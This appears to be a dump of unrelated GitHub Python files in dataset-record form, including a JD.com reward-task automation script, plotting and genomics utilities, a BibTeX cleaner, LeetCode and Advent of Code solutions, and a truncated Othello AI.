result[\"data\"][\"nutrState\"] == \"1\":\n                        N -= 1\n                if N == 0:\n                    break\n                time.sleep(1)\n        if i[\"taskType\"] == 5:\n            print(\"挑选商品\")\n            N = int(i[\"totalNum\"])-int(i[\"gainedNum\"])\n            productInfoList = functionTemplate(cookies, \"productTaskList\", {\n                                               \"monitor_refer\": \"plant_productTaskList\"})[\"data\"][\"productInfoList\"]\n            productList = sum(productInfoList, [])\n            productList = list(\n                filter(lambda i: i[\"taskState\"] == \"2\", productList))\n\n            for product in productList:\n                result = functionTemplate(cookies, \"productNutrientsTask\", {\n                                          \"productTaskId\": product[\"productTaskId\"], \"skuId\": product[\"skuId\"], \"monitor_refer\": \"plant_productNutrientsTask\"})\n                print(result)\n                if \"data\" in result:\n                    if result[\"data\"][\"nutrState\"] == \"1\":\n                        N -= 1\n                if N == 0:\n                    break\n                time.sleep(1)\n\n\ndef _help(cookies, plantUuid):\n    for i in plantUuid:\n        functionTemplate(cookies, \"plantBeanIndex\", {\n                         \"plantUuid\": i, \"followType\": \"1\", \"wxHeadImgUrl\": \"\", \"shareUuid\": \"\", })\n\n\ndef steal(cookies, roundId):\n    print(\"\\n【偷取营养液】\\n默认对方有3个才会偷取\\n不足自动跳过 \")\n    result = functionTemplate(cookies, \"plantFriendList\", {\"pageNum\": \"1\"})\n\n    if \"errorCode\" in result:\n        return\n    if \"tips\" in result[\"data\"]:\n        print(\"今日已达上限\")\n        return\n    stealList = [i for i in result[\"data\"]\n                 [\"friendInfoList\"] if \"nutrCount\" in i]\n\n    for i in stealList:\n        if int(i[\"nutrCount\"]) == 3:  # 为3时才会偷取\n            print(i)\n            print(functionTemplate(cookies, \"collectUserNutr\", {\n                \"paradiseUuid\": i[\"paradiseUuid\"], \"roundId\": roundId}))\n            time.sleep(2)\n\n\ndef getReward(cookies, status,lastRoundId):\n    print(\"\\n[收获状况]\")\n    if status == \"5\":\n        data = functionTemplate(\n            cookies, \"receivedBean\", {\"roundId\": lastRoundId})[\"data\"]\n        print(f\"\"\"{data[\"growth\"]}成长值兑换{data[\"awardBean\"]}京豆\"\"\")\n    if status == \"6\":\n        print(\"您已领奖，去京豆明细页看看\")\n\n\ndef water(cookies,currentRoundId):\n    print(\"\\n[浇水ing]\")\n    result = functionTemplate(cookies, \"cultureBean\", {\n        \"roundId\": currentRoundId, \"monitor_refer\": \"plant_index\"})\n    if \"errorMessage\" in result:\n        print(result[\"errorMessage\"])\n        return\n\n\ndef egg(cookies):\n    print(\"\\n[天天扭蛋]\")\n    restLotteryNum = functionTemplate(cookies, \"plantEggLotteryIndex\", {})[\n        \"data\"][\"restLotteryNum\"]\n    if restLotteryNum == 0:\n        print(\">>>暂无扭蛋\")\n    for i in range(restLotteryNum):\n        print(\">>>扭蛋 \", i+1)\n        functionTemplate(cookies, \"plantEggDoLottery\", {})\n\n\ndef waterWheel(cookies,currentRoundId):\n    print(\"\\n[水车生产(6-21)]\")\n    result = functionTemplate(cookies, \"receiveNutrients\", {\n        \"roundId\": currentRoundId, \"monitor_refer\": \"plant_receiveNutrients\"})\n    if \"errorMessage\" in result:\n        print(result[\"errorMessage\"])\n        return\n\ndef run():\n    for cookies in jdCookie.get_cookies():\n        plantBeanIndex = postTemplate(cookies, \"plantBeanIndex\", {})\n        print(\n            f\"\"\"【{plantBeanIndex[\"data\"][\"plantUserInfo\"][\"plantNickName\"]}】\\n\"\"\")\n        print(\n            f\"\"\"我的助力码: {plantBeanIndex[\"data\"][\"jwordShareInfo\"][\"shareUrl\"].split(\"=\")[-1]}\\n\"\"\")\n        _help(cookies, plantUuid)\n        roundList = plantBeanIndex[\"data\"][\"roundList\"]\n        lastRoundId = roundList[0][\"roundId\"]  # 上期id\n        currentRoundId = roundList[1][\"roundId\"]  # 本期id\n        taskList = plantBeanIndex[\"data\"][\"taskList\"]  # 任务列表\n\n        takeTask(cookies, taskList)  # 执行每日任务\n        print(\"     任务   进度\")\n        for i in postTemplate(cookies, \"plantBeanIndex\", {})[\"data\"][\"taskList\"]:\n            print(\n                f\"\"\"[{i[\"taskName\"]}]  {i[\"gainedNum\"]}/{i[\"totalNum\"]}   {i[\"isFinished\"]} \"\"\")\n\n        egg(cookies)\n        waterWheel(cookies,currentRoundId)\n        steal(cookies, currentRoundId)\n        water(cookies,currentRoundId)\n        getReward(cookies, roundList[0][\"awardState\"],lastRoundId)\n        print(\"\\nEND\\n\")\n        print(\"##\"*30)\nif __name__ == \"__main__\":\n    run()","repo_name":"zjcxmmail/JDZero-S1","sub_path":"jd_plantBean.py","file_name":"jd_plantBean.py","file_ext":"py","file_size_in_byte":9225,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"36566366000","text":"from datetime import datetime, timedelta\nimport plotly.express as px\nfrom plotly.graph_objs import Figure\nfrom pandas import DataFrame\n\n\ndef color_discrete_map_create(dataframe:DataFrame, pk:str, vk:str) -> dict:\n    '''\n        Return dict of color discrete map based on given dataframe\n        pk - Primary Key\n        vk - Value Key\n    '''\n    color_map = {}\n    for i, row in dataframe.iterrows():\n        if row[pk] not in color_map:\n            color_map[row[pk]] = row[vk]\n\n    return color_map\n\n\ndef pie_create(dataframe:DataFrame) -> Figure:\n    '''\n        Return plotly pie Figure of state causes\n    '''\n\n    pie = px.pie(\n        data_frame=dataframe,\n        names='reason',\n        values='duration',\n        height=320,\n        hole=.2,\n        color='reason',\n        color_discrete_map=color_discrete_map_create(dataframe, 'reason', 'color')\n    )\n    return pie\n\n\ndef timeline_create(dataframe:DataFrame) -> Figure:\n    '''\n        Return plotly timeline Figure of state durations\n    '''\n    head = dataframe.head(1)\n    shift_day = dataframe['Календарный день'].values[0]\n    shift_begin_str = shift_day + ' ' + head['Начало смены'].values[0]\n    shift_begin = datetime.strptime(shift_begin_str, '%Y-%m-%d %H:%M:%S') - timedelta(hours=1)\n    shift_end = datetime.strptime(shift_begin_str, '%Y-%m-%d %H:%M:%S') + timedelta(hours=1, days=1)\n\n    timeline = px.timeline(\n        data_frame=dataframe,\n        x_start='Начало состояния',\n        x_end='Конец состояния',\n        y='Название точки учета',\n        height=300,\n        color='Причина',\n        color_discrete_map=color_discrete_map_create(dataframe, 'Причина', 'Цвет'),\n        hover_data={\n            'Состояние':True,\n            'Причина':True,\n            'Название точки учета':False,\n            'Цвет':False,\n            'Начало состояния':True,\n            'Конец состояния':False,\n            'Сменный день':True,\n            'Смена':True,\n            'Оператор':True,\n            'Длительность':True,\n        }\n    )\n    timeline.update_layout(showlegend=False, yaxis={\"title\":''}, xaxis_range=[shift_begin, shift_end])\n    return timeline","repo_name":"lengthylyova/encost-test-task","sub_path":"server/figures.py","file_name":"figures.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10089007946","text":"import os\nimport sys\nimport logging\nimport argparse\nfrom traceback import print_exc\n\nimport gffutils\nfrom Bio import SeqIO\nfrom collections import defaultdict\n\nfrom .common import junctions_from_blocks\nfrom .gtf2db import convert_gtf_to_db\n\n\nlogger = logging.getLogger('IsoQuant')\n\n\ndef array_to_coutns(arr):\n    counts = defaultdict(int)\n    for e in arr:\n        counts[e] += 1\n    return counts\n\n\ndef dump_dict_to_tsv(table, outf):\n    for k in sorted(table.keys()):\n        outf.write(str(k) + '\\t' + str(table[k]) + '\\n')\n\n\nclass AnnotationStats:\n    canonical_splic_sites = {(\"GT\", \"AG\"), (\"GC\", \"AG\"), (\"AT\", \"AC\")}\n    def __init__(self, gene_db, reference_record_dict):\n        self.gene_db = gene_db\n        self.reference_record_dict = reference_record_dict\n        self.exon_lengths = []\n        self.intron_length = []\n        self.exon_lengths_no_dup = []\n        self.transcript_lengths = []\n        self.exons_per_transcript = []\n        self.exons_per_gene = []\n        self.transcripts_per_gene = []\n        self.noncanonical_splice_sites_per_isoform = defaultdict(int)\n        self.splice_site_dict = defaultdict(int)\n        self.transcripts_with_non_canonical = defaultdict(list)\n\n    def add_exon(self, exon):\n        elen = exon[1] - exon[0] + 1\n        self.exon_lengths.append(elen)\n        return elen\n\n    # return whether splice sites are canonical\n    def add_intron(self, intron, strand, reference_region, gene_start):\n        self.intron_length.append(intron[1] - intron[0] + 1)\n        # splice site counts\n        splice_site = None\n        if reference_region:\n            donor_site = reference_region[intron[0] - gene_start:intron[0]-gene_start+2]\n            acceptor_site = reference_region[intron[1] - gene_start - 1:intron[1] - gene_start + 1]\n            if strand == '+':\n                splice_site = (str(donor_site), str(acceptor_site))\n                self.splice_site_dict[splice_site] += 1\n            else:\n                donor_site = str(donor_site.reverse_complement())\n                acceptor_site = str(acceptor_site.reverse_complement())\n                splice_site = (acceptor_site, donor_site)\n                self.splice_site_dict[splice_site] += 1\n        return splice_site in self.canonical_splic_sites\n\n    def add_transcript(self, exons, strand, reference_region, gene_start, t_id):\n        tlen = 0\n        for e in exons:\n            tlen += self.add_exon(e)\n        introns = junctions_from_blocks(exons)\n        non_canonical_splice_sites = 0\n        for i in introns:\n            is_canonical = self.add_intron(i, strand, reference_region, gene_start)\n            if not is_canonical:\n                non_canonical_splice_sites += 1\n                self.transcripts_with_non_canonical[t_id].append(i)\n\n        self.transcript_lengths.append(tlen)\n        self.exons_per_transcript.append(len(exons))\n        self.noncanonical_splice_sites_per_isoform[non_canonical_splice_sites] += 1\n\n    def add_gene(self, exon_set, transcript_count):\n        self.exons_per_gene.append(len(exon_set))\n        for e in exon_set:\n            self.exon_lengths_no_dup.append(e[1] - e[0] + 1)\n        self.transcripts_per_gene.append(transcript_count)\n\n\n    def count_gene_stats(self, gene_data, current_chr_record):\n        exon_set = set()\n        transcript_count = 0\n\n        reference_region = None\n        gene_start = gene_data.start\n        if self.reference_record_dict:\n            reference_region = current_chr_record[gene_start - 1:gene_data.end].seq\n\n        for t in self.gene_db.children(gene_data, featuretype=('transcript', 'mRNA'), order_by='start'):\n            exon_list = []\n            transcript_count += 1\n            for e in self.gene_db.children(t, order_by='start'):\n                if e.featuretype == 'exon':\n                    exon = (e.start, e.end)\n                    exon_set.add(exon)\n                    exon_list.append(exon)\n            self.add_transcript(exon_list, t.strand, reference_region, gene_start, t.id)\n        self.add_gene(exon_set, transcript_count)\n\n    def count_stats(self):\n        current_chr = \"\"\n        current_chr_record = None\n        for g in self.gene_db.features_of_type('gene', order_by=('seqid', 'start')):\n            if current_chr != g.seqid:\n                current_chr = g.seqid\n                logger.info(\"Processing \" + current_chr)\n                current_chr_record = None if not self.reference_record_dict else self.reference_record_dict[current_chr]\n\n            gene_name = g.id\n            self.count_gene_stats(self.gene_db[gene_name], current_chr_record)\n\n    def print_to_file(self, output):\n        outf = open(output, \"w\")\n        outf.write(\"Exon length distribution (same exons in different isoforms counted multiple times)\\n\")\n        dump_dict_to_tsv(array_to_coutns(self.exon_lengths), outf)\n        outf.write(\"Exon length distribution (each unique exon is counted once)\\n\")\n        dump_dict_to_tsv(array_to_coutns(self.exon_lengths_no_dup), outf)\n        outf.write(\"Intron length distribution\\n\")\n        dump_dict_to_tsv(array_to_coutns(self.intron_length), outf)\n        outf.write(\"Exons per transcripts\\n\")\n        dump_dict_to_tsv(array_to_coutns(self.exons_per_transcript), outf)\n        outf.write(\"Exons per gene\\n\")\n        dump_dict_to_tsv(array_to_coutns(self.exons_per_gene), outf)\n        outf.write(\"Transcripts per gene\\n\")\n        dump_dict_to_tsv(array_to_coutns(self.transcripts_per_gene), outf)\n        if len(self.splice_site_dict) > 0:\n            outf.write(\"Splice site per gene\\n\")\n            dump_dict_to_tsv(self.splice_site_dict, outf)\n        if len(self.noncanonical_splice_sites_per_isoform) > 0:\n            outf.write(\"Non-canonical splice sites per isoform\\n\")\n            dump_dict_to_tsv(self.noncanonical_splice_sites_per_isoform, outf)\n            outf.write(\"Transcripts with non-canonical splice sites:\\n\")\n            for t in sorted(self.transcripts_with_non_canonical.keys()):\n                outf.write(t + \":\\t\")\n                outf.write(\"\\t\".join(list(map(str, self.transcripts_with_non_canonical[t]))) + \"\\n\")\n        outf.close()\n\ndef parse_args(args=None, namespace=None):\n    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)\n\n    parser.add_argument(\"--output\", \"-o\", help=\"output file prefix [default=gtf_stats]\",\n                        type=str, default=\"gtf_stats.tsv\")\n\n    # REFERENCE\n    parser.add_argument(\"--genedb\", \"-g\", help=\"gene database in gffutils DB format or GTF/GFF format\", type=str)\n    parser.add_argument('--complete_genedb', action='store_true', default=False,\n                        help=\"use this flag if gene annotation contains transcript and gene metafeatures, \"\n                             \"e.g. with official annotations, such as GENCODE; \"\n                             \"speeds up gene database conversion\")\n    parser.add_argument(\"--reference\", \"-r\", help=\"reference genome in FASTA format,\"\n                                                  \"should be provided to compute splice site stats\", type=str)\n    parser.add_argument('--clean_start', action='store_true', default=False,\n                        help='Do not use previously generated genee db')\n\n    args = parser.parse_args(args, namespace)\n\n    config_dir = os.path.join(os.environ['HOME'], '.config', 'IsoQuant')\n    os.makedirs(config_dir, exist_ok=True)\n    args.db_config_path = os.path.join(config_dir, 'db_config.json')\n\n    if not args.genedb:\n        parser.print_usage()\n        exit(-1)\n    return args\n\n\ndef run_pipeline(args):\n    logger.info(\" === Counting gene annotation statistics === \")\n\n    if not args.genedb.endswith('db'):\n        args.genedb = convert_gtf_to_db(args, output_is_dir=False)\n\n    logger.info(\"Loading gene database from \" + args.genedb)\n    gffutils_db = gffutils.FeatureDB(args.genedb, keep_order=True)\n    reference_record_dict = None\n    if args.reference:\n        logger.info(\"Loading reference genome from \" + args.reference)\n        reference_record_dict = SeqIO.index(args.reference, \"fasta\")\n\n    stats = AnnotationStats(gffutils_db, reference_record_dict)\n    logger.info(\"Counting stats, may take a while...\")\n    stats.count_stats()\n    logger.info(\"Writing stats to \" + args.output + \".tsv\")\n    stats.print_to_file(args.output + \".tsv\")\n\n    logger.info(\" === Counting done === \")\n\n\ndef main(args):\n    logger.setLevel(logging.INFO)\n    ch = logging.StreamHandler(sys.stdout)\n    ch.setLevel(logging.INFO)\n    formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\n    ch.setFormatter(formatter)\n    logger.addHandler(ch)\n\n    args = parse_args(args)\n    run_pipeline(args)\n\n\nif __name__ == \"__main__\":\n    # stuff only to run when not called via 'import' here\n    try:\n        main(sys.argv[1:])\n    except SystemExit:\n        raise\n    except:\n        print_exc()\n        sys.exit(-1)\n\n\n\n","repo_name":"ablab/IsoQuant","sub_path":"src/gtf_stats.py","file_name":"gtf_stats.py","file_ext":"py","file_size_in_byte":8894,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"60"}
+{"seq_id":"13255280443","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/python\nfrom __future__ import print_function\nimport argparse\n\nclass paper:\n\n    \n    def __init__(self, text, verbose=False):\n        self.key     = None        \n        self.title   = None\n        self.journal = None\n        self.year    = None\n        self.pages   = None\n        self.author  = None\n        self.volume  = None\n        self.doi     = None\n        \n        infos = text.split('},')\n        self.key = infos[0].split(',')[0]        \n        for info in infos:\n            infs = info.split('=')    \n            if \"title\" in infs[0].lower():\n                self.title = self.cleanstring(infs[1])\n            if \"author\" in infs[0].lower():\n                tmpauthor = self.cleanstring(infs[1])\n                tmpauthors = tmpauthor.split('and')\n                if verbose: print(\"tmpauthors:\",tmpauthors)\n                if len(tmpauthors)>1:\n                    self.author = tmpauthors[0]+\"and others\"\n                    # collaborations = [s for s in tmpauthors if \"collaboration\" in s.lower()]\n                    # # if any(\"CMS Collaboration\" in s for s in tmpauthors):\n                    # if len(collaborations) > 0:\n                    #     for collaboration in collaborations:\n                    #         self.author += \" (\"+collaboration.strip()+\")\"\n                else:\n                    if verbose: print(\"using tmpauthor\")\n                    self.author = tmpauthor\n            if len(infs)>1 and \"journal\" in infs[0].lower():\n                self.journal = self.cleanstring(infs[1])\n            if len(infs)>1 and \"doi\" in infs[0].lower():\n                self.doi = self.cleanstring(infs[1])                \n            if len(infs)>1 and \"year\" in infs[0].lower():\n                self.year = self.cleanstring(infs[1])\n            if len(infs)>1 and \"volume\" in infs[0].lower():\n                self.volume = self.cleanstring(infs[1])                                                \n            if len(infs)>1 and \"pages\" in infs[0].lower():\n                self.pages = self.cleanstring(infs[1])\n                \n    def cleanstring(self, instring):\n        res = instring.translate(None, '\"{}\\n\\t')\n        if res[0]==' ': res=res[1:]\n        if res[-1]==' ': res=res[:-1]\n        if res[-1]=='.': res=res[:-1]\n        return res\n    \n\n    def __str__(self):\n        message = '@'+self.key+\",\\n\"\n        for attr, value in self.__dict__.iteritems():\n            if value is not None and \"key\" not in attr:\n                message += \"\\t\"+attr+\" = {\"+str(value)+\"},\\n\"\n        message += \"}\\n\"\n        return(message)\n\n    \n\ndef simplify(inputfile, limitn=None, verbose=False):\n    with open(inputfile,'r') as file:\n        inputs = file.read().strip().split('@')\n        articles = [a for a in inputs if a[0]!='%']\n        for i, article in enumerate(articles):\n            if len(article.split(',')) < 3: continue\n            if limitn:\n                if i >= limitn: break\n            if verbose: print(\"before:\",article)\n            thisPaper = paper(article, verbose)\n            print(thisPaper)            \n\n        \nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-v\", \"--verbose\", help=\"increase output verbosity\",\n                        action=\"store_true\")\n    parser.add_argument(\"-n\", \"--justn\", help=\"print only the first n papers\", type=int)\n    parser.add_argument(\"inputfile\", help=\"input file name (a bib file)\")\n    args = parser.parse_args()\n    \n    simplify(args.inputfile, args.justn, args.verbose)\n","repo_name":"carlomt/make_atto_notorieta","sub_path":"simplify.py","file_name":"simplify.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36033605951","text":"class Solution:\n    def isCovered(self, ranges: List[List[int]], left: int, right: int) -> bool:\n        result = []\n        for i in ranges:\n            result.extend(range(i[0], i[-1] + 1))\n        result = set(result)\n        for i in range(left, right+1):\n            if i not in result:\n                return False\n        return True","repo_name":"DevashishPathrabe/LeetCode","sub_path":"LeetCode Solutions/Problems/1893. Check if All the Integers in a Range Are Covered.py","file_name":"1893. Check if All the Integers in a Range Are Covered.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42530760267","text":"with open(\"input.txt\") as file:\n    inp = file.read().strip()\n\npath = inp[1:-1]\nmp = [[\"#\" for i in range(2000)] for j in range(2000)]\nin_map = lambda c : c[0] in range(len(mp)) and c[1] in range(len(mp[c[0]]))\n\ndrs = {\"N\":(-1,0),\"S\":(1,0),\"W\":(0,-1),\"E\":(0,1)}\n\nstack = []\n\ndef dfs(co, pto):\n    stack.append((co, pto))\n    seen = set()\n    while len(stack) > 0:\n        cur = stack.pop(-1)\n        c = cur[0]\n        pt = cur[1]\n        if (c[0],c[1],pt) in seen:\n            continue\n        seen.add((c[0],c[1],pt))\n        if len(cur[1]) == 0:\n            continue\n        if cur[1][0] == \"(\":\n            r_s = 1\n            r_i = 1\n            while r_s > 0:\n                if pt[r_i] == \"(\":\n                    r_s += 1\n                elif pt[r_i] == \")\":\n                    r_s -= 1\n                r_i += 1\n            group = pt[1:r_i-1]\n            opts = []\n            r_s2 = 0\n            r_i2 = 0\n            lc = 0\n            while r_s2 >= 0 and r_i2 < len(group):\n                if group[r_i2] == \"(\":\n                    r_s2 += 1\n                elif group[r_i2] == \")\":\n                    r_s2 -= 1\n                if r_s2 == 0 and group[r_i2] == \"|\":\n                    opts.append(group[lc:r_i2])\n                    lc = r_i2 + 1\n                r_i2 += 1\n            opts.append(group[lc:])\n            for poss in opts:\n                stack.append((c, poss + pt[r_i:]))\n        else:\n            bf = pt.find(\"(\")\n            if bf == -1:\n                bf = len(pt)\n            cloc = [c[0],c[1]]\n            for b in range(bf):\n                tdr = pt[b]\n                mp[cloc[0]+drs[tdr][0]][cloc[1]+drs[tdr][1]] = \"|\" if tdr in \"WE\" else \"-\"\n                mp[cloc[0]+2*drs[tdr][0]][cloc[1]+2*drs[tdr][1]] = \".\"\n                cloc[0] += 2*drs[tdr][0]\n                cloc[1] += 2*drs[tdr][1]\n            stack.append((cloc,pt[bf:]))\n\nmp[1000][1000] = \"X\"\n\ndfs((1000,1000), path)\n\n#now find farthest\ncur = (1000,1000)\nimport queue\nq = queue.Queue()\nq.put((cur,0))\nfurthest = 0\nfar_count = 0\nwhile not q.empty():\n    cur = q.get()\n    if cur[1] > furthest:\n        furthest = cur[1]\n    if cur[1] >= 1000:\n        far_count += 1\n    dist = cur[1]\n    cur = cur[0]\n    mp[cur[0]][cur[1]] = \"v\"\n    for d in [(-1,0),(1,0),(0,-1),(0,1)]:\n        if mp[cur[0]+d[0]][cur[1]+d[1]] in \"-|\": #traversable\n            if mp[cur[0]+2*d[0]][cur[1]+2*d[1]] != \"v\":\n                mp[cur[0]+2*d[0]][cur[1]+2*d[1]] = \"v\"\n                q.put(((cur[0]+2*d[0],cur[1]+2*d[1]),dist+1))\n\nprint(\"Part 1:\",furthest)\nprint(\"Part 2:\",far_count)\n","repo_name":"nthistle/advent-of-code","sub_path":"2018/day-20/day_20.py","file_name":"day_20.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"60"}
+{"seq_id":"7852308008","text":"__author__ = 'xianbing'\n\nshoplistfile='shoplist.data'\n\nshoplist=['apple','mango','carrot']\n\nf=file(shoplist,'w')\np.dump(shoplist,f)\nf.close()\n\n\n\ndel shoplist\n\nf=file(shoplist)\nstoredlist=p.load(f)\nprint(storedlist)\n","repo_name":"zengxianbing/PythonStudy","sub_path":"simplePythonCourse/pickling.py","file_name":"pickling.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2536259906","text":"from typing import Optional\n\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\nclass Solution:\n    # Solution 1: Naive Approach\n    # O(N), O(1)\n    def removeElements(self, head: Optional[ListNode], val: int) -> Optional[ListNode]:\n        if not head:\n            return head\n        \n        dummy = ListNode(0, head)\n        \n        ans = dummy\n        while dummy:\n            while dummy.next and dummy.next.val == val:\n                dummy.next = dummy.next.next\n            dummy = dummy.next\n        \n        return ans.next\n    \n    # Solution 2: Sentinel Node\n    # O(N), O(1)\n    def removeElements(self, head: Optional[ListNode], val: int) -> Optional[ListNode]:\n        if not head:\n            return head\n        \n        sentinel = ListNode(0, head)\n        prev, curr = sentinel, head\n\n        while curr:\n            if curr.val == val:\n                prev.next = curr.next\n            else:\n                prev = curr\n            curr = curr.next\n\n        return sentinel.next\n\n    # Solution 3: Recursion\n    # O(N), O(N)\n    def removeElements(self, head: Optional[ListNode], val: int) -> Optional[ListNode]:\n        if not head: return head\n        head.next = self.removeElements(head.next, val)\n        return head.next if head.val == val else head\n","repo_name":"Jason017/My-Leetcode","sub_path":"1 Easy/0203 Remove Linked List Elements/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7612400271","text":"import functools\n\n\nclass Line:\n    def __init__(self, x1, y1, x2, y2) -> None:\n        self.x1 = x1\n        self.y1 = y1\n        self.x2 = x2\n        self.y2 = y2\n\n    def __str__(self):\n        return f\"p1: ({self.x1},{self.y1}) p2: ({self.x2},{self.y2})\"\n\n    def is_vertical(self) -> bool:\n        if self.x1 == self.x2:\n            return True\n        return False\n\n\ndef get_lines():\n    line_list = []\n    with open(\"./advent_of_code_2022/day14/input.txt\") as fp:\n        lines = fp.readlines()\n        for l in lines:\n            coordinates = []\n            coordinate_strs = l.split(\"->\")\n            for co_str in coordinate_strs:\n                co = co_str.strip()\n                x_str, y_str = co.split(\",\")\n                x, y = int(x_str), int(y_str)\n                coordinates.append((x, y))\n            line_list.extend(coordinates_to_lines(coordinates))\n    return line_list\n\n\ndef coordinates_to_lines(coordinates):\n    lines = []\n    for i in range(len(coordinates) - 1):\n        x1, y1 = coordinates[i][0], coordinates[i][1]\n        x2, y2 = coordinates[i + 1][0], coordinates[i + 1][1]\n        l = Line(x1, y1, x2, y2)\n        lines.append(l)\n    return lines\n\n\ndef create_grid(lines):\n    max_x = functools.reduce(lambda x, l: max(x, l.x1, l.x2), lines, -1)\n    max_y = functools.reduce(lambda y, l: max(y, l.y1, l.y2), lines, -1)\n    grid = [[\".\" for _ in range(max_x + 1)] for _ in range(max_y + 1)]\n    return grid\n\n\ndef create_big_grid_with_floor(lines, multiplier):\n    max_x = functools.reduce(lambda x, l: max(x, l.x1, l.x2), lines, -1)\n    max_y = functools.reduce(lambda y, l: max(y, l.y1, l.y2), lines, -1)\n    max_x_multiplied = max_x * multiplier\n    max_y_multiplied = max_y * multiplier\n    grid = [\n        [\".\" for _ in range(max_x_multiplied + 1)] for _ in range(max_y_multiplied + 1)\n    ]\n    for x in range(max_x_multiplied):\n        grid[max_y + 2][x] = \"#\"\n    return grid\n\n\ndef draw_lines(grid, lines):\n    for l in lines:\n        if l.is_vertical():\n            for y in range(min(l.y1, l.y2), max(l.y1, l.y2) + 1):\n                grid[y][l.x1] = \"#\"\n        else:\n            for x in range(min(l.x1, l.x2), max(l.x1, l.x2) + 1):\n                grid[l.y1][x] = \"#\"\n\n\ndef can_drop(x, y, grid):\n    if y >= len(grid) or x >= len(grid[0]):\n        return False\n    if grid[y][x] == \".\":\n        return True\n    return False\n\n\ndef abyss(x, y, grid):\n    if y >= len(grid):\n        return True\n\n\ndef drop_sand(x, y, grid):\n    if y >= len(grid) or x >= len(grid[0]):\n        return False\n    if abyss(x, y + 1, grid):\n        return False\n    if can_drop(x, y + 1, grid):\n        return drop_sand(x, y + 1, grid)\n    elif can_drop(x - 1, y + 1, grid):\n        return drop_sand(x - 1, y + 1, grid)\n    elif can_drop(x + 1, y + 1, grid):\n        return drop_sand(x + 1, y + 1, grid)\n    else:\n        if grid[y][x] == \"o\":\n            return False\n        grid[y][x] = \"o\"\n        return True\n\n\ndef drop_sand2(x, y, grid):\n    if y >= len(grid) or x >= len(grid[0]):\n        return False\n    if can_drop(x, y + 1, grid):\n        return drop_sand(x, y + 1, grid)\n    elif can_drop(x - 1, y + 1, grid):\n        return drop_sand(x - 1, y + 1, grid)\n    elif can_drop(x + 1, y + 1, grid):\n        return drop_sand(x + 1, y + 1, grid)\n    else:\n        if grid[y][x] == \"o\":\n            return False\n        grid[y][x] = \"o\"\n        return True\n\n\ndef part1():\n    lines = get_lines()\n    grid = create_grid(lines)\n    draw_lines(grid, lines)\n    droppable = True\n    count = 0\n    while droppable:\n        droppable = drop_sand(500, 0, grid)\n        if droppable:\n            count += 1\n    # print(count)\n\n\ndef part2():\n    lines = get_lines()\n    grid = create_big_grid_with_floor(lines, 2)\n    draw_lines(grid, lines)\n    droppable = True\n    count = 0\n    while droppable:\n        droppable = drop_sand2(500, 0, grid)\n        if droppable:\n            count += 1\n    print(count)\n\n\n# part1()\npart2()\n# print(create_grid(get_lines()))\n","repo_name":"ChrisBehanAda/advent_of_code_2022","sub_path":"python/advent_of_code_2022/advent_of_code_2022/day14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":3977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8049401620","text":"import numpy as np\nimport random\nimport time\n\nCOLOR_BLACK = -1\nCOLOR_WHITH = 1\nCOLOR_NONE = 0\nINT_MIN = -10e5\nINT_MAX = 10e5\nrandom.seed(0)\n\nWEIGHT_MAP = -np.array([[500, -25, 10, 5, 5, 10, -25, 500],\n                        [-25, -45, 1, 1, 1, 1, -45, -25],\n                        [10, 1, 3, 2, 2, 3, 1, 10],\n                        [5, 1, 2, 1, 1, 2, 1, 5],\n                        [5, 1, 2, 1, 1, 2, 1, 5],\n                        [10, 1, 3, 2, 2, 3, 1, 10],\n                        [-25, -45, 1, 1, 1, 1, -45, -25],\n                        [500, -25, 10, 5, 5, 10, -25, 500]])\n\n\nclass AI(object):\n    def __init__(self, chessboard_size, color, time_out):\n        self.chessboard_size = chessboard_size\n        self.color = color\n        self.time_out = time_out\n        self.candidate_list = []\n\n    def go(self, chessboard):\n        self.candidate_list.clear()\n        legal_pos, best_step = alpha_bate(chessboard, self.color, 1)\n        if len(legal_pos) != 0:  # 有合法的位置\n            self.candidate_list += legal_pos\n            self.candidate_list.append((best_step))\n\n\nmy_color = op_color = 0\n\n\ndef alpha_bate(board, color, depth):\n    my_color = color\n    op_color = -color\n\n    controller = BoardController(board, my_color)\n    legal_pos = controller.get_all_legal_pos()\n    if len(legal_pos) == 0:\n        return [], None\n\n    best_val = INT_MIN\n    for pos in legal_pos:\n        new_board = BoardController(controller.board, my_color)\n        new_board.board_after_rev(*pos)  # 我方走棋\n\n        temp = min_node(new_board.board, depth - 1, INT_MIN, INT_MAX)\n\n        if temp > best_val:\n            best_val = temp\n            best_step = pos\n\n    return legal_pos, best_step\n\n\ndef min_node(board, depth, alpha, beta):\n    if depth <= 0:\n        return evaluate(board)\n\n\ndef evaluate(board):\n    return WEIGHT_MAP[board == my_color].sum() - WEIGHT_MAP[board == op_color].sum()\n\n\nclass BoardController:\n    def __init__(self, board, cur_color):\n        self.board = np.copy(board)\n        self.cur_color = cur_color\n        self.legal_pos = []\n        self.rev_pos = []\n        self.dir = ((-1, 0), (-1, 1), (0, 1), (1, 1),\n                    (1, 0), (1, -1), (0, -1), (-1, -1))\n\n    def on_board(self, x, y):\n        return 0 